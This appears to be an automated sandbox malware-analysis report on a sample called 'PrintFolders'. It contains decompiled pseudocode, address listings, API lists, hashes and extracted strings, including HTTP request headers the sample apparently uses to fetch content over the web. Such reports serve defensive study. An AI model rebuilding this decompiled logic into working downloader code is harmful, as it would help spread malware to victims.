                                                          																								_t220 = _t349;
                                                          																								goto L95;
                                                          																							}
                                                          																						}
                                                          																					}
                                                          																				}
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																} else {
                                                          																	_t307 = _t362;
                                                          																	__eflags = _t331 - 8;
                                                          																	if(_t331 >= 8) {
                                                          																		_t307 =  *_t362;
                                                          																	}
                                                          																	_t391 = _t193 + _t193;
                                                          																	 *(_t362 + 0x10) = _t193;
                                                          																	E10005BC0(_t307, _t349, _t391);
                                                          																	__eflags = 0;
                                                          																	 *((short*)(_t391 + _t307)) = 0;
                                                          																	return _t362;
                                                          																}
                                                          															} else {
                                                          																L60:
                                                          																_push(_t229);
                                                          																_t330 = E10003229(_t300, _t360, _t381, __eflags);
                                                          																_t405 = _t405 + 4;
                                                          																__eflags = _t330;
                                                          																if(__eflags == 0) {
                                                          																	L71:
                                                          																	E1000633C(_t300, _t330, _t348, __eflags);
                                                          																	goto L72;
                                                          																} else {
                                                          																	_t127 = _t330 + 0x23; // 0x23
                                                          																	_t233 = _t127 & 0xffffffe0;
                                                          																	 *(_t233 - 4) = _t330;
                                                          																	L65:
                                                          																	_v12 = _t233;
                                                          																	_t381[4] = _t300;
                                                          																	_t381[5] = _t360;
                                                          																	E10005BC0(_t233, _v16, _t300);
                                                          																	_t360 = _v12;
                                                          																	_t405 = _t405 + 0xc;
                                                          																	_t235 = _v20;
                                                          																	 *((char*)(_t360 + _t300)) = 0;
                                                          																	__eflags = _t235 - 0x10;
                                                          																	if(_t235 < 0x10) {
                                                          																		L70:
                                                          																		 *_t381 = _t360;
                                                          																		return _t381;
                                                          																	} else {
                                                          																		_t333 = _t235 + 1;
                                                          																		_t237 =  *_t381;
                                                          																		__eflags = _t333 - 0x1000;
                                                          																		if(_t333 < 0x1000) {
                                                          																			L69:
                                                          																			_push(_t333);
                                                          																			E10003216(_t237);
                                                          																			goto L70;
                                                          																		} else {
                                                          																			_t348 =  *(_t237 - 4);
                                                          																			_t330 = _t333 + 0x23;
                                                          																			__eflags = _t237 - _t348 + 0xfffffffc - 0x1f;
                                                          																			if(__eflags > 0) {
                                                          																				goto L71;
                                                          																			} else {
                                                          																				_t237 = _t348;
                                                          																				goto L69;
                                                          																			}
                                                          																		}
                                                          																	}
                                                          																}
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t374 = _t381;
                                                          											__eflags = _t330 - 0x10;
                                                          											if(_t330 >= 0x10) {
                                                          												_t374 =  *_t381;
                                                          											}
                                                          											_t381[4] = _t300;
                                                          											E10005BC0(_t374, _t190, _t300);
                                                          											 *((char*)(_t374 + _t300)) = 0;
                                                          											return _t381;
                                                          										}
                                                          									} else {
                                                          										_t287 = _t295 - _t376;
                                                          										__eflags = _t287 - 7;
                                                          										_t356 =  <  ? _t287 : 7;
                                                          										__eflags = _v28 - 0x10;
                                                          										_t344 =  >=  ? _v48 :  &_v48;
                                                          										_t311 = _t295 - 7;
                                                          										_t345 =  &(( >=  ? _v48 :  &_v48)[_t376]);
                                                          										_v32 = _t311;
                                                          										__eflags = _t311 - _t376 + 1;
                                                          										E10005BC0( &(( >=  ? _v48 :  &_v48)[_t376]),  &(( &(( >=  ? _v48 :  &_v48)[_t376]))[ <  ? _t287 : 7]), _t311 - _t376 + 1);
                                                          										_t295 = _v32;
                                                          										_t401 = _t401 + 0xc;
                                                          										goto L20;
                                                          									}
                                                          								}
                                                          							} else {
                                                          								goto L15;
                                                          							}
                                                          							goto L112;
                                                          							L15:
                                                          							_t376 = E1000F670(_t376 + 1, 0x68, _v104 - _t376 + 1);
                                                          							_t401 = _t401 + 0xc;
                                                          						} while (_t376 != 0);
                                                          					}
                                                          					goto L20;
                                                          				}
                                                          				L112:
                                                          			}













































































































                                                          0x100014f3
                                                          0x100014f5
                                                          0x10001500
                                                          0x10001501
                                                          0x10001504
                                                          0x10001509
                                                          0x1000150b
                                                          0x1000150f
                                                          0x10001511
                                                          0x10001515
                                                          0x1000151b
                                                          0x1000151e
                                                          0x10001521
                                                          0x10001523
                                                          0x1000152a
                                                          0x1000152d
                                                          0x10001534
                                                          0x1000153b
                                                          0x1000153e
                                                          0x10001542
                                                          0x10001542
                                                          0x10001544
                                                          0x10001545
                                                          0x1000154b
                                                          0x1000154c
                                                          0x10001550
                                                          0x10001555
                                                          0x10001563
                                                          0x10001566
                                                          0x1000156a
                                                          0x10001570
                                                          0x10001649
                                                          0x10001650
                                                          0x10001656
                                                          0x1000166e
                                                          0x1000166e
                                                          0x1000166e
                                                          0x10001658
                                                          0x10001661
                                                          0x10001663
                                                          0x10001668
                                                          0x00000000
                                                          0x1000166a
                                                          0x1000166a
                                                          0x1000166a
                                                          0x10001668
                                                          0x10001673
                                                          0x1000167c
                                                          0x10001683
                                                          0x10001686
                                                          0x10001694
                                                          0x10001695
                                                          0x1000169c
                                                          0x1000169d
                                                          0x100016a1
                                                          0x100016a6
                                                          0x100016ad
                                                          0x100016b2
                                                          0x100016b9
                                                          0x100016bd
                                                          0x100016bf
                                                          0x100016c9
                                                          0x100016ce
                                                          0x100016d4
                                                          0x100016d6
                                                          0x100016ea
                                                          0x100016f2
                                                          0x100016fa
                                                          0x10001709
                                                          0x1000170b
                                                          0x10001710
                                                          0x100018ac
                                                          0x100018ac
                                                          0x100018b3
                                                          0x100018b9
                                                          0x100018e3
                                                          0x100018e3
                                                          0x100018e6
                                                          0x100018ed
                                                          0x100018f4
                                                          0x100018fb
                                                          0x10001925
                                                          0x1000192a
                                                          0x10001932
                                                          0x10001933
                                                          0x10001934
                                                          0x10001942
                                                          0x100018fd
                                                          0x100018fd
                                                          0x10001900
                                                          0x10001901
                                                          0x10001909
                                                          0x1000191b
                                                          0x1000191b
                                                          0x1000191d
                                                          0x00000000
                                                          0x1000190b
                                                          0x1000190b
                                                          0x1000190e
                                                          0x10001919
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10001919
                                                          0x10001909
                                                          0x100018bb
                                                          0x100018bb
                                                          0x100018be
                                                          0x100018bf
                                                          0x100018c7
                                                          0x100018d9
                                                          0x100018d9
                                                          0x100018db
                                                          0x100018e0
                                                          0x00000000
                                                          0x100018c9
                                                          0x100018c9
                                                          0x100018cc
                                                          0x100018d7
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100018d7
                                                          0x100018c7
                                                          0x10001716
                                                          0x1000171b
                                                          0x10001726
                                                          0x10001735
                                                          0x10001746
                                                          0x1000174c
                                                          0x10001752
                                                          0x10001757
                                                          0x100018a9
                                                          0x100018aa
                                                          0x00000000
                                                          0x1000175d
                                                          0x10001766
                                                          0x1000177f
                                                          0x10001783
                                                          0x100018a1
                                                          0x100018a4
                                                          0x100018a6
                                                          0x00000000
                                                          0x10001789
                                                          0x10001789
                                                          0x1000178b
                                                          0x10001795
                                                          0x1000179a
                                                          0x100017a1
                                                          0x100017a8
                                                          0x100017ac
                                                          0x100017b1
                                                          0x100017bc
                                                          0x100017c2
                                                          0x100017d0
                                                          0x100017d2
                                                          0x100017d4
                                                          0x100017dc
                                                          0x100017f0
                                                          0x100017f6
                                                          0x100017f8
                                                          0x100017fa
                                                          0x10001802
                                                          0x10001816
                                                          0x1000181c
                                                          0x1000181e
                                                          0x10001820
                                                          0x10001828
                                                          0x1000183c
                                                          0x10001842
                                                          0x10001844
                                                          0x10001848
                                                          0x1000184e
                                                          0x1000187c
                                                          0x1000188d
                                                          0x10001892
                                                          0x10001893
                                                          0x10001898
                                                          0x10001898
                                                          0x1000189c
                                                          0x1000189e
                                                          0x00000000
                                                          0x10001850
                                                          0x10001850
                                                          0x10001853
                                                          0x10001854
                                                          0x1000185c
                                                          0x10001872
                                                          0x10001872
                                                          0x10001874
                                                          0x10001879
                                                          0x00000000
                                                          0x1000185e
                                                          0x1000185e
                                                          0x10001861
                                                          0x1000186c
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x1000186c
                                                          0x1000185c
                                                          0x1000184e
                                                          0x10001783
                                                          0x10001757
                                                          0x10001576
                                                          0x10001576
                                                          0x1000157b
                                                          0x10001589
                                                          0x1000158b
                                                          0x10001590
                                                          0x10001596
                                                          0x100015a0
                                                          0x100015a0
                                                          0x100015a2
                                                          0x100015a7
                                                          0x100015b0
                                                          0x100015b2
                                                          0x100015b5
                                                          0x100015b8
                                                          0x100015b8
                                                          0x100015bb
                                                          0x100015bf
                                                          0x100015e2
                                                          0x100015e2
                                                          0x100015e4
                                                          0x100015e4
                                                          0x100015c1
                                                          0x100015c1
                                                          0x100015c7
                                                          0x00000000
                                                          0x100015c9
                                                          0x100015c9
                                                          0x100015cf
                                                          0x00000000
                                                          0x100015d1
                                                          0x100015d4
                                                          0x100015de
                                                          0x100015de
                                                          0x100015d6
                                                          0x100015d6
                                                          0x100015dc
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100015dc
                                                          0x100015d4
                                                          0x100015cf
                                                          0x100015c7
                                                          0x100015e9
                                                          0x10001605
                                                          0x10001608
                                                          0x1000160b
                                                          0x00000000
                                                          0x1000160d
                                                          0x1000160d
                                                          0x1000160f
                                                          0x10001945
                                                          0x1000194a
                                                          0x1000194a
                                                          0x1000194f
                                                          0x1000194f
                                                          0x10001954
                                                          0x10001955
                                                          0x10001956
                                                          0x10001957
                                                          0x10001958
                                                          0x10001959
                                                          0x1000195a
                                                          0x1000195b
                                                          0x1000195c
                                                          0x1000195d
                                                          0x1000195e
                                                          0x1000195f
                                                          0x10001960
                                                          0x10001965
                                                          0x1000196a
                                                          0x1000196b
                                                          0x1000196c
                                                          0x1000196d
                                                          0x1000196e
                                                          0x1000196f
                                                          0x10001970
                                                          0x10001971
                                                          0x10001973
                                                          0x10001976
                                                          0x10001979
                                                          0x1000197a
                                                          0x1000197d
                                                          0x1000197e
                                                          0x10001980
                                                          0x10001983
                                                          0x10001984
                                                          0x10001987
                                                          0x1000198a
                                                          0x1000198c
                                                          0x100019b4
                                                          0x100019ba
                                                          0x10001a91
                                                          0x10001a91
                                                          0x00000000
                                                          0x100019c0
                                                          0x100019c2
                                                          0x100019c5
                                                          0x100019cb
                                                          0x100019fc
                                                          0x100019fc
                                                          0x10001a01
                                                          0x00000000
                                                          0x100019cd
                                                          0x100019d4
                                                          0x100019d8
                                                          0x100019da
                                                          0x00000000
                                                          0x100019dc
                                                          0x100019dc
                                                          0x100019df
                                                          0x100019e1
                                                          0x100019e4
                                                          0x100019e7
                                                          0x100019ed
                                                          0x10001a20
                                                          0x10001a22
                                                          0x10001a2f
                                                          0x10001a2f
                                                          0x10001a24
                                                          0x10001a24
                                                          0x10001a25
                                                          0x10001a2a
                                                          0x10001a2a
                                                          0x00000000
                                                          0x100019ef
                                                          0x100019ef
                                                          0x100019f2
                                                          0x100019f4
                                                          0x10001a96
                                                          0x10001a96
                                                          0x10001a9b
                                                          0x10001a9c
                                                          0x10001a9d
                                                          0x10001a9e
                                                          0x10001a9f
                                                          0x10001aa0
                                                          0x10001aa1
                                                          0x10001aa3
                                                          0x10001aa6
                                                          0x10001aa9
                                                          0x10001aac
                                                          0x10001aad
                                                          0x10001aae
                                                          0x10001aaf
                                                          0x10001ab1
                                                          0x10001ab4
                                                          0x10001ab7
                                                          0x10001aba
                                                          0x10001abd
                                                          0x10001abf
                                                          0x10001aec
                                                          0x10001af1
                                                          0x10001bea
                                                          0x10001bea
                                                          0x00000000
                                                          0x10001af7
                                                          0x10001af9
                                                          0x10001afc
                                                          0x10001b02
                                                          0x10001b17
                                                          0x10001b1b
                                                          0x10001b1d
                                                          0x10001b2b
                                                          0x10001b2e
                                                          0x10001b30
                                                          0x10001b33
                                                          0x10001b36
                                                          0x10001b3b
                                                          0x00000000
                                                          0x10001b41
                                                          0x10001b41
                                                          0x10001b43
                                                          0x10001b48
                                                          0x10001b71
                                                          0x10001b73
                                                          0x10001b82
                                                          0x10001b82
                                                          0x10001b75
                                                          0x10001b75
                                                          0x10001b76
                                                          0x10001b7b
                                                          0x10001b7e
                                                          0x10001b7e
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x10001b48
                                                          0x10001b1f
                                                          0x10001b1f
                                                          0x10001b24
                                                          0x00000000
                                                          0x10001b24
                                                          0x10001b04
                                                          0x10001b04
                                                          0x10001b09
                                                          0x10001b4a
                                                          0x10001b4a
                                                          0x10001b4a
                                                          0x10001b4d
                                                          0x10001b4f
                                                          0x10001be5
                                                          0x10001be5
                                                          0x00000000
                                                          0x10001b55
                                                          0x10001b55
                                                          0x10001b56
                                                          0x10001b5b
                                                          0x10001b5e
                                                          0x10001b60
                                                          0x10001bef
                                                          0x10001bef
                                                          0x10001bf4
                                                          0x10001bf5
                                                          0x10001bf6
                                                          0x10001bf7
                                                          0x10001bf8
                                                          0x10001bf9
                                                          0x10001bfa
                                                          0x10001bfb
                                                          0x10001bfc
                                                          0x10001bfd
                                                          0x10001bfe
                                                          0x10001bff
                                                          0x10001c00
                                                          0x10001c03
                                                          0x10001c04
                                                          0x10001c07
                                                          0x10001c08
                                                          0x10001c0a
                                                          0x10001c0c
                                                          0x10001c14
                                                          0x10001c16
                                                          0x10001c31
                                                          0x10001c32
                                                          0x10001c35
                                                          0x10001c37
                                                          0x10001c4f
                                                          0x10001c53
                                                          0x10001c5b
                                                          0x10001c5d
                                                          0x10001c79
                                                          0x10001c7b
                                                          0x00000000
                                                          0x10001c7d
                                                          0x10001c82
                                                          0x10001c88
                                                          0x10001c96
                                                          0x10001c96
                                                          0x10001c5f
                                                          0x10001c64
                                                          0x10001c6a
                                                          0x10001c6f
                                                          0x10001c78
                                                          0x10001c78
                                                          0x10001c39
                                                          0x10001c39
                                                          0x10001c3b
                                                          0x00000000
                                                          0x10001c3d
                                                          0x10001c40
                                                          0x10001c48
                                                          0x10001c4e
                                                          0x10001c4e
                                                          0x10001c3b
                                                          0x10001c18
                                                          0x10001c1d
                                                          0x10001c23
                                                          0x10001c30
                                                          0x10001c30
                                                          0x10001c0e
                                                          0x10001c0f
                                                          0x10001c13
                                                          0x10001c13
                                                          0x10001b66
                                                          0x10001b66
                                                          0x10001b69
                                                          0x10001b6c
                                                          0x10001b84
                                                          0x10001b84
                                                          0x10001b87
                                                          0x10001b8a
                                                          0x10001b8d
                                                          0x10001b95
                                                          0x10001b9c
                                                          0x10001b9f
                                                          0x10001ba3
                                                          0x10001ba6
                                                          0x10001ba9
                                                          0x10001bd8
                                                          0x10001bd8
                                                          0x10001be2
                                                          0x10001bab
                                                          0x10001bab
                                                          0x10001bb2
                                                          0x10001bb4
                                                          0x10001bba
                                                          0x10001bce
                                                          0x10001bce
                                                          0x10001bd0
                                                          0x00000000
                                                          0x10001bbc
                                                          0x10001bbc
                                                          0x10001bbf
                                                          0x10001bc7
                                                          0x10001bca
                                                          0x00000000
                                                          0x10001bcc
                                                          0x10001bcc
                                                          0x00000000
                                                          0x10001bcc
                                                          0x10001bca
                                                          0x10001bba
                                                          0x10001ba9
                                                          0x10001b60
                                                          0x10001b4f
                                                          0x10001b02
                                                          0x10001ac1
                                                          0x10001ac1
                                                          0x10001ac3
                                                          0x10001ac6
                                                          0x10001ac8
                                                          0x10001ac8
                                                          0x10001aca
                                                          0x10001acd
                                                          0x10001ad3
                                                          0x10001adb
                                                          0x10001add
                                                          0x10001ae9
                                                          0x10001ae9
                                                          0x100019fa
                                                          0x10001a06
                                                          0x10001a06
                                                          0x10001a0c
                                                          0x10001a0e
                                                          0x10001a11
                                                          0x10001a13
                                                          0x10001a8c
                                                          0x10001a8c
                                                          0x00000000
                                                          0x10001a15
                                                          0x10001a15
                                                          0x10001a18
                                                          0x10001a1b
                                                          0x10001a31
                                                          0x10001a35
                                                          0x10001a39
                                                          0x10001a3c
                                                          0x10001a3f
                                                          0x10001a44
                                                          0x10001a47
                                                          0x10001a4a
                                                          0x10001a4d
                                                          0x10001a51
                                                          0x10001a54
                                                          0x10001a7f
                                                          0x10001a7f
                                                          0x10001a89
                                                          0x10001a56
                                                          0x10001a56
                                                          0x10001a59
                                                          0x10001a5b
                                                          0x10001a61
                                                          0x10001a75
                                                          0x10001a75
                                                          0x10001a77
                                                          0x00000000
                                                          0x10001a63
                                                          0x10001a63
                                                          0x10001a66
                                                          0x10001a6e
                                                          0x10001a71
                                                          0x00000000
                                                          0x10001a73
                                                          0x10001a73
                                                          0x00000000
                                                          0x10001a73
                                                          0x10001a71
                                                          0x10001a61
                                                          0x10001a54
                                                          0x10001a13
                                                          0x100019f4
                                                          0x100019ed
                                                          0x100019da
                                                          0x100019cb
                                                          0x1000198e
                                                          0x1000198e
                                                          0x10001990
                                                          0x10001993
                                                          0x10001995
                                                          0x10001995
                                                          0x1000199a
                                                          0x1000199d
                                                          0x100019a5
                                                          0x100019b1
                                                          0x100019b1
                                                          0x10001615
                                                          0x1000161a
                                                          0x10001621
                                                          0x10001623
                                                          0x10001626
                                                          0x1000162a
                                                          0x1000162e
                                                          0x10001630
                                                          0x10001632
                                                          0x10001637
                                                          0x1000163e
                                                          0x10001643
                                                          0x10001646
                                                          0x00000000
                                                          0x10001646
                                                          0x1000160f
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x100015eb
                                                          0x100015fa
                                                          0x100015fc
                                                          0x100015ff
                                                          0x10001603
                                                          0x00000000
                                                          0x10001590
                                                          0x00000000

                                                          Strings
                                                          • pYhv, xrefs: 100016CE, 1000188F
                                                          • GET, xrefs: 10001773
                                                          • Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1, xrefs: 10001795
                                                          • Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1, xrefs: 100017FA
                                                          • http://, xrefs: 100015A2
                                                          • Accept-Language: ru-RU,ru;q=0.9,en;q=0.8, xrefs: 100017D4
                                                          • Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0, xrefs: 10001820
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID: Accept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1$Accept-Encoding: deflate, gzip, x-gzip, identity, *;q=0$Accept-Language: ru-RU,ru;q=0.9,en;q=0.8$Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1$GET$http://$pYhv
                                                          • API String ID: 0-4268195717
                                                          • Opcode ID: d3ed00dd38609a7697d672608ec4d1622f700f7468701cf831d89b042d405c33
                                                          • Instruction ID: 3e25db80656cceb02cc8fd81e0400d570f0dd4959431d348fe5b88a2f33083bb
                                                          • Opcode Fuzzy Hash: d3ed00dd38609a7697d672608ec4d1622f700f7468701cf831d89b042d405c33
                                                          • Instruction Fuzzy Hash: 86D1C231E00208AFEB11CFA8CC95FEEBBB9EF45390F644118F515AB295C775AA45CB60
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          • Executed
                                                          • Not Executed
                                                          control_flow_graph 1414 40ee60-40ee81 InitializeCriticalSectionAndSpinCount GetModuleHandleW 1415 40ee83-40ee92 GetModuleHandleW 1414->1415 1416 40ee94-40eeb0 GetProcAddress * 2 1414->1416 1415->1416 1417 40eeda-40eef4 call 40f5f5 DeleteCriticalSection 1415->1417 1418 40eeb2-40eeb4 1416->1418 1419 40eec4-40eed8 CreateEventW 1416->1419 1424 40eef6-40eef7 CloseHandle 1417->1424 1425 40eefd 1417->1425 1418->1419 1420 40eeb6-40eebc 1418->1420 1419->1417 1421 40eec1-40eec3 1419->1421 1420->1421 1424->1425
                                                          C-Code - Quality: 91%
                                                          			E0040EE60(_Unknown_base(*)()* __edi, void* __esi) {
                                                          				struct HINSTANCE__* _t2;
                                                          				void* _t4;
                                                          				void* _t7;
                                                          				void* _t10;
                                                          				struct HINSTANCE__* _t14;
                                                          
                                                          				_t11 = __edi;
                                                          				_push(__edi);
                                                          				InitializeCriticalSectionAndSpinCount(0x4504fc, 0xfa0);
                                                          				_t2 = GetModuleHandleW(L"api-ms-win-core-synch-l1-2-0.dll"); // executed
                                                          				_t14 = _t2;
                                                          				if(_t14 != 0) {
                                                          					L2:
                                                          					_t11 = GetProcAddress(_t14, "SleepConditionVariableCS");
                                                          					_t4 = GetProcAddress(_t14, "WakeAllConditionVariable");
                                                          					if(_t11 == 0 || _t4 == 0) {
                                                          						_t4 = CreateEventW(0, 1, 0, 0);
                                                          						 *0x4504f8 = _t4;
                                                          						if(_t4 != 0) {
                                                          							goto L5;
                                                          						} else {
                                                          							goto L7;
                                                          						}
                                                          					} else {
                                                          						 *0x450514 = _t11;
                                                          						 *0x450518 = _t4;
                                                          						L5:
                                                          						return _t4;
                                                          					}
                                                          				} else {
                                                          					_t14 = GetModuleHandleW(L"kernel32.dll");
                                                          					if(_t14 == 0) {
                                                          						L7:
                                                          						E0040F5F5(_t10, _t11, _t14, 7);
                                                          						asm("int3");
                                                          						DeleteCriticalSection(0x4504fc);
                                                          						_t7 =  *0x4504f8; // 0x0
                                                          						if(_t7 != 0) {
                                                          							return CloseHandle(_t7);
                                                          						}
                                                          						return _t7;
                                                          					} else {
                                                          						goto L2;
                                                          					}
                                                          				}
                                                          			}








                                                          0x0040ee60
                                                          0x0040ee61
                                                          0x0040ee6c
                                                          0x0040ee77
                                                          0x0040ee7d
                                                          0x0040ee81
                                                          0x0040ee94
                                                          0x0040eea6
                                                          0x0040eea8
                                                          0x0040eeb0
                                                          0x0040eecb
                                                          0x0040eed1
                                                          0x0040eed8
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040eeb6
                                                          0x0040eeb6
                                                          0x0040eebc
                                                          0x0040eec1
                                                          0x0040eec3
                                                          0x0040eec3
                                                          0x0040ee83
                                                          0x0040ee8e
                                                          0x0040ee92
                                                          0x0040eeda
                                                          0x0040eedc
                                                          0x0040eee1
                                                          0x0040eee7
                                                          0x0040eeed
                                                          0x0040eef4
                                                          0x00000000
                                                          0x0040eef7
                                                          0x0040eefd
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x0040ee92

                                                          APIs
                                                          • InitializeCriticalSectionAndSpinCount.KERNEL32(004504FC,00000FA0,?,?,0040EE3E), ref: 0040EE6C
                                                          • GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,0040EE3E), ref: 0040EE77
                                                          • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,0040EE3E), ref: 0040EE88
                                                          • GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 0040EE9A
                                                          • GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 0040EEA8
                                                          • CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,0040EE3E), ref: 0040EECB
                                                          • DeleteCriticalSection.KERNEL32(004504FC,00000007,?,?,0040EE3E), ref: 0040EEE7
                                                          • CloseHandle.KERNEL32(00000000,?,?,0040EE3E), ref: 0040EEF7
                                                          Strings
                                                          • SleepConditionVariableCS, xrefs: 0040EE94
                                                          • api-ms-win-core-synch-l1-2-0.dll, xrefs: 0040EE72
                                                          • kernel32.dll, xrefs: 0040EE83
                                                          • WakeAllConditionVariable, xrefs: 0040EEA0
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
                                                          • String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
                                                          • API String ID: 2565136772-3242537097
                                                          • Opcode ID: 6a30901e0316293d9dd8d087d713a46f6d2382c1dc1a8c068fa87155fa23cfe1
                                                          • Instruction ID: 0577adb6b1f793cc774404ca345485d9f3401ded944aeed88ccdd136dffad262
                                                          • Opcode Fuzzy Hash: 6a30901e0316293d9dd8d087d713a46f6d2382c1dc1a8c068fa87155fa23cfe1
                                                          • Instruction Fuzzy Hash: 38019234740325ABD7305B73EC09B373AA8AB41B027940836FD04E22D1DA78CC1286AD
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          Control-flow Graph

                                                          C-Code - Quality: 73%
                                                          			E004019F0(void* __ebx, void* __edi, void* __eflags, void* _a4) {
                                                          				char* _v8;
                                                          				char* _v12;
                                                          				char* _v16;
                                                          				signed int _v20;
                                                          				signed int _v24;
                                                          				signed int _v28;
                                                          				signed int _v32;
                                                          				signed int _v36;
                                                          				void* _v40;
                                                          				char* _v48;
                                                          				char _v56;
                                                          				void _v60;
                                                          				intOrPtr _v64;
                                                          				char* _v68;
                                                          				char* _v84;
                                                          				intOrPtr _v88;
                                                          				signed int _v92;
                                                          				void* _v96;
                                                          				void* _v124;
                                                          				char _v144;
                                                          				signed int _v152;
                                                          				void _v292;
                                                          				int _v296;
                                                          				long _v300;
                                                          				char* _v304;
                                                          				char _v320;
                                                          				signed int _v324;
                                                          				signed int _v328;
                                                          				short* _v332;
                                                          				char* _v336;
                                                          				signed int _v340;
                                                          				char* _v344;
                                                          				char* _v360;
                                                          				signed int _v364;
                                                          				char* _v368;
                                                          				char* _v384;
                                                          				void* _v456;
                                                          				intOrPtr* _v616;
                                                          				char _v636;
                                                          				signed int _v644;
                                                          				intOrPtr _v648;
                                                          				char* _v652;
                                                          				char* _v668;
                                                          				intOrPtr _v672;
                                                          				char* _v700;
                                                          				void* __esi;
                                                          				void* __ebp;
                                                          				signed int _t243;
                                                          				signed int _t244;
                                                          				int _t261;
                                                          				char* _t263;
                                                          				signed int _t268;
                                                          				signed int _t269;
                                                          				signed int _t276;
                                                          				char _t277;
                                                          				signed int _t282;
                                                          				signed int _t288;
                                                          				signed int _t289;
                                                          				short* _t296;
                                                          				signed int _t299;
                                                          				intOrPtr* _t302;
                                                          				signed int _t303;
                                                          				signed int _t305;
                                                          				short* _t309;
                                                          				signed int _t312;
                                                          				signed int _t314;
                                                          				signed int _t319;
                                                          				char* _t324;
                                                          				signed int _t331;
                                                          				signed int _t333;
                                                          				void* _t339;
                                                          				intOrPtr _t352;
                                                          				signed int _t357;
                                                          				char* _t358;
                                                          				void* _t366;
                                                          				signed int _t371;
                                                          				void* _t376;
                                                          				char* _t379;
                                                          				signed int _t387;
                                                          				signed int _t389;
                                                          				void* _t390;
                                                          				void* _t391;
                                                          				void* _t393;
                                                          				char* _t394;
                                                          				signed int _t395;
                                                          				void* _t397;
                                                          				intOrPtr _t398;
                                                          				void* _t400;
                                                          				void* _t401;
                                                          				char* _t410;
                                                          				intOrPtr* _t418;
                                                          				int _t422;
                                                          				short* _t429;
                                                          				void* _t436;
                                                          				char* _t438;
                                                          				char* _t441;
                                                          				intOrPtr* _t442;
                                                          				char _t456;
                                                          				char* _t458;
                                                          				char* _t465;
                                                          				signed int _t468;
                                                          				void* _t470;
                                                          				short* _t473;
                                                          				signed int _t476;
                                                          				char _t480;
                                                          				intOrPtr* _t482;
                                                          				intOrPtr _t484;
                                                          				signed int _t485;
                                                          				void* _t486;
                                                          				void* _t489;
                                                          				void* _t491;
                                                          				void* _t492;
                                                          				void* _t493;
                                                          				void* _t494;
                                                          				int _t495;
                                                          				short* _t496;
                                                          				signed int _t498;
                                                          				signed int _t500;
                                                          				signed int _t501;
                                                          				signed int _t502;
                                                          				void* _t504;
                                                          				intOrPtr* _t505;
                                                          				signed int _t506;
                                                          				void* _t509;
                                                          				char* _t510;
                                                          				void* _t511;
                                                          				void* _t512;
                                                          				void* _t513;
                                                          				void* _t514;
                                                          				intOrPtr _t515;
                                                          				void* _t517;
                                                          				void* _t518;
                                                          				signed int _t521;
                                                          				signed int _t522;
                                                          				signed int _t523;
                                                          				void* _t525;
                                                          				signed int _t526;
                                                          				void* _t528;
                                                          				void* _t529;
                                                          				void* _t530;
                                                          				signed int _t531;
                                                          				void* _t532;
                                                          				void* _t534;
                                                          				void* _t535;
                                                          
                                                          				_t388 = __ebx;
                                                          				_push(0xffffffff);
                                                          				_push(0x42c27d);
                                                          				_push( *[fs:0x0]);
                                                          				_t526 = _t525 - 0x24;
                                                          				_t243 =  *0x43d054; // 0x6e36c9b5
                                                          				_t244 = _t243 ^ _t521;
                                                          				_v24 = _t244;
                                                          				_push(__edi);
                                                          				_push(_t244);
                                                          				 *[fs:0x0] =  &_v16;
                                                          				_t491 = _a4;
                                                          				_v48 = 0;
                                                          				_v32 = 0;
                                                          				_v28 = 0xf;
                                                          				_v48 = 0;
                                                          				E004026B0(__ebx,  &_v48, "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1", 0x7d);
